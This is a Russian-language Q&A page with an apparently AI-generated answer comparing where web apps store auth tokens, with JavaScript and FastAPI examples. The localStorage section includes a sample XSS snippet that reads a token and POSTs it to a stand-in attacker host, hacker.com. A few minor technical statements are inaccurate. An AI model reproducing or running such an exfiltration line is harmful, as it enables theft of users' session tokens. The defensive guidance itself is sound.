Где лучше хранить данные для авторизации?
Комментарии (2)
Ответ сгенерирован нейросетью и может содержать ошибки
Где лучше хранить данные для авторизации
Это критичный вопрос безопасности. Где хранить токены и данные авторизации — определяет, насколько защищено приложение. Разные места имеют разные преимущества и недостатки.
Главные варианты хранения
1. localStorage (НЕ РЕКОМЕНДУЕТСЯ для критичных данных)
localStorage — простое хранилище в браузере:
// Сохранить токен
localStorage.setItem('accessToken', token);
// Получить токен
const token = localStorage.getItem('accessToken');
// Отправить с запросом
fetch('/api/data', {
headers: { Authorization: `Bearer ${token}` }
});
Преимущества:
- Простой API
- Есть везде (старые браузеры)
- Персистентен (не удаляется при закрытии браузера)
Недостатки (критичные):
- Уязвим для XSS (Cross-Site Scripting)
- JavaScript может украсть токен
- Видим в DevTools
- ОЧЕНЬ ОПАСЕН для auth токенов
// Злоумышленник может запустить этот код на сайте
// (XSS атака через infected.com/malicious-script.js)
const token = localStorage.getItem('accessToken');
fetch('https://hacker.com/steal', {
method: 'POST',
body: JSON.stringify({ token }),
});
// Токен украден!
Когда использовать:
- Некритичные данные (например, язык интерфейса)
- НЕ ИСПОЛЬЗУЙ для токенов авторизации
2. sessionStorage (тоже НЕ РЕКОМЕНДУЕТСЯ для токенов)
Похож на localStorage, но удаляется когда закрывается браузер:
sessionStorage.setItem('accessToken', token);
const token = sessionStorage.getItem('accessToken');
Преимущества:
- Автоудаляется при закрытии браузера
- Остальное как localStorage
Недостатки:
- Все еще уязвим для XSS
- Видим в DevTools
- Потеряется при обновлении страницы (иногда хорошо, иногда плохо)
Когда использовать:
- Очень временные данные
- НЕ для авторизации
3. HTTP-only Cookies (РЕКОМЕНДУЕТСЯ)
Http-only куки — это безопасная опция. Браузер управляет автоматически:
// На сервере устанавливаем куку
response.setHeader('Set-Cookie', 'authToken=xyz123; HttpOnly; Secure; SameSite=Strict');
// На клиенте JavaScript НЕ может читать эту куку
console.log(document.cookie); // authToken не видна!
// Но браузер АВТОМАТИЧЕСКИ отправляет с каждым запросом
fetch('/api/data');
// Браузер сам добавляет: Cookie: authToken=xyz123
Преимущества:
- ЗАЩИЩЕНА от XSS (JavaScript не может читать)
- Браузер отправляет автоматически
- На сервере возможны различные защиты
- Стандартный HTTP механизм
Недостатки:
- Уязвима для CSRF (Cross-Site Request Forgery), но решается через CSRF token
- Все браузеры поддерживают куки
- Есть ограничения по размеру (4KB)
- Требует настройки Secure и SameSite флагов
Правильная настройка:
# FastAPI пример
from fastapi.responses import JSONResponse
response = JSONResponse({'token': 'xyz'})
response.set_cookie(
key='accessToken',
value=token,
httponly=True, # JavaScript не может читать
secure=True, # Только HTTPS
samesite='strict', # Защита от CSRF
max_age=3600, # 1 час
)
return response
// На клиенте просто:
fetch('/api/data');
// Куку отправляет браузер автоматически
// JavaScript не может даже прочитать токен!
4. Memory (переменная в RAM) + Refresh Token в Cookie
Этот гибридный подход считается оптимальным:
// В памяти браузера (теряется при обновлении)
let accessToken = null;
// При загрузке страницы, получаем новый токен
// используя refresh token из http-only куки
async function initAuth() {
const response = await fetch('/api/auth/refresh', {
credentials: 'include', // Отправляет куки
});
const data = await response.json();
accessToken = data.accessToken; // В память
}
// Использовать в запросах
fetch('/api/data', {
headers: { Authorization: `Bearer ${accessToken}` },
});
// При обновлении страницы accessToken теряется
// Но refresh token в куке позволяет получить новый
Процесс:
1. Пользователь логинится
2. Сервер отправляет:
- accessToken в теле (в памяти браузера)
- refreshToken в http-only куке
3. AccessToken используется в Authorization header
4. Когда accessToken истекает, используем refreshToken из куки
5. Получаем новый accessToken
6. При обновлении страницы с помощью куки получаем новый accessToken
Преимущества:
- AccessToken в памяти (быстро и удобно)
- RefreshToken в безопасной куке
- При обновлении автоматически восстанавливается
- Защита от XSS (accessToken в памяти, не в хранилище)
- При закрытии вкладки accessToken удаляется
Недостатки:
- Требует правильной настройки сервера
- Нужна логика refresh токена
- При перезагрузке страницы есть момент без токена
Сравнительная таблица
| Метод | XSS Safe | CSRF Safe | Персистентен | Удобно |
|---|---|---|---|---|
| localStorage | НЕТ | Зависит | ДА | ДА |
| sessionStorage | НЕТ | Зависит | НЕТ | ДА |
| Http-only Cookie | ДА | ТРЕБУЕТ CSRF token | ДА | Автоматическое |
| Memory + RefreshCookie | ДА | ДА | Partial | ДА |
Реальный пример: Next.js приложение
Плохой подход (localStorage):
// auth.ts
export function login(credentials) {
return fetch('/api/login', { method: 'POST', body: credentials })
.then(r => r.json())
.then(data => {
localStorage.setItem('token', data.token); // ПЛОХО!
return data;
});
}
// Использование
export function useAuth() {
const token = localStorage.getItem('token'); // ПЛОХО!
return {
isAuthenticated: !!token,
token,
};
}
Это очень уязвимо для XSS!
Хороший подход (Http-only Cookie):
# Backend (FastAPI)
from fastapi import FastAPI
from fastapi.responses import JSONResponse
app = FastAPI()
@app.post('/api/login')
def login(credentials: LoginRequest):
user = authenticate(credentials.email, credentials.password)
if not user:
raise HTTPException(status_code=401)
access_token = create_access_token(user.id, expires_in=15*60) # 15 мин
refresh_token = create_refresh_token(user.id, expires_in=7*24*60*60) # 7 дней
response = JSONResponse({'ok': True})
response.set_cookie(
key='refreshToken',
value=refresh_token,
httponly=True,
secure=True,
samesite='strict',
max_age=7*24*60*60,
)
# Access token в теле (если нужен для CORS запросов)
response.set_cookie(
key='accessToken',
value=access_token,
httponly=True,
secure=True,
samesite='strict',
max_age=15*60,
)
return response
// Frontend (Next.js)
import { useEffect, useState } from 'react';
export function useAuth() {
const [isAuthenticated, setIsAuthenticated] = useState(false);
useEffect(() => {
// Проверяем авторизацию на каждой загрузке
// Используя refresh token из куки (браузер отправляет автоматически)
fetch('/api/auth/check', {
credentials: 'include',
})
.then(r => r.json())
.then(data => setIsAuthenticated(data.isAuthenticated));
}, []);
const login = async (email: string, password: string) => {
await fetch('/api/login', {
method: 'POST',
credentials: 'include', // Браузер отправляет куки
body: JSON.stringify({ email, password }),
});
setIsAuthenticated(true);
};
const logout = async () => {
await fetch('/api/logout', {
method: 'POST',
credentials: 'include',
});
setIsAuthenticated(false);
};
return { isAuthenticated, login, logout };
}
Защита от CSRF при использовании Cookies
Когда используешь cookies, нужна защита от CSRF:
# Сервер отправляет CSRF token в заголовке
@app.get('/api/csrf')
def get_csrf_token():
token = generate_csrf_token()
return {'csrfToken': token}
// Клиент получает и отправляет CSRF token
const response = await fetch('/api/csrf');
const { csrfToken } = await response.json();
await fetch('/api/data', {
method: 'POST',
headers: {
'X-CSRF-Token': csrfToken,
},
body: JSON.stringify(data),
});
# Сервер проверяет CSRF token
from fastapi import Header
@app.post('/api/data')
def post_data(data: DataRequest, x_csrf_token: str = Header()):
if not verify_csrf_token(x_csrf_token):
raise HTTPException(status_code=403)
# Обработать запрос
return {'ok': True}
Best Practices
1. НИКОГДА не используй localStorage для токенов
// ОПАСНО!
localStorage.setItem('token', jwt);
// Вместо этого:
response.set_cookie('authToken', jwt, { httponly: true });
2. Всегда используй Secure и SameSite flags
response.set_cookie(
'token',
value,
secure=True, # Только HTTPS
httponly=True, # JS не может читать
samesite='strict', # Защита от CSRF
)
3. Используй short-lived access tokens
- AccessToken: 15-60 минут
- RefreshToken: 7-30 дней
Тогда даже если украли токен, его использование ограничено по времени.
4. Проверяй авторизацию на сервере
# ВСЕГДА проверяй на сервере
@app.get('/api/protected')
def protected_route(current_user: User = Depends(get_current_user)):
if not current_user:
raise HTTPException(status_code=401)
return {'data': 'secret'}
Вывод
- localStorage: НЕ используй для токенов (уязвим для XSS)
- sessionStorage: тоже НЕ используй
- Http-only Cookies: ЛУЧШИЙ вариант для auth токенов
- Memory + RefreshCookie: отличный гибридный подход
- Главное правило: JavaScript НЕ должен иметь доступ к auth токенам
- Всегда: используй HTTPS, Secure, HttpOnly, SameSite флаги
- Всегда: проверяй авторизацию на сервере, не доверяй клиенту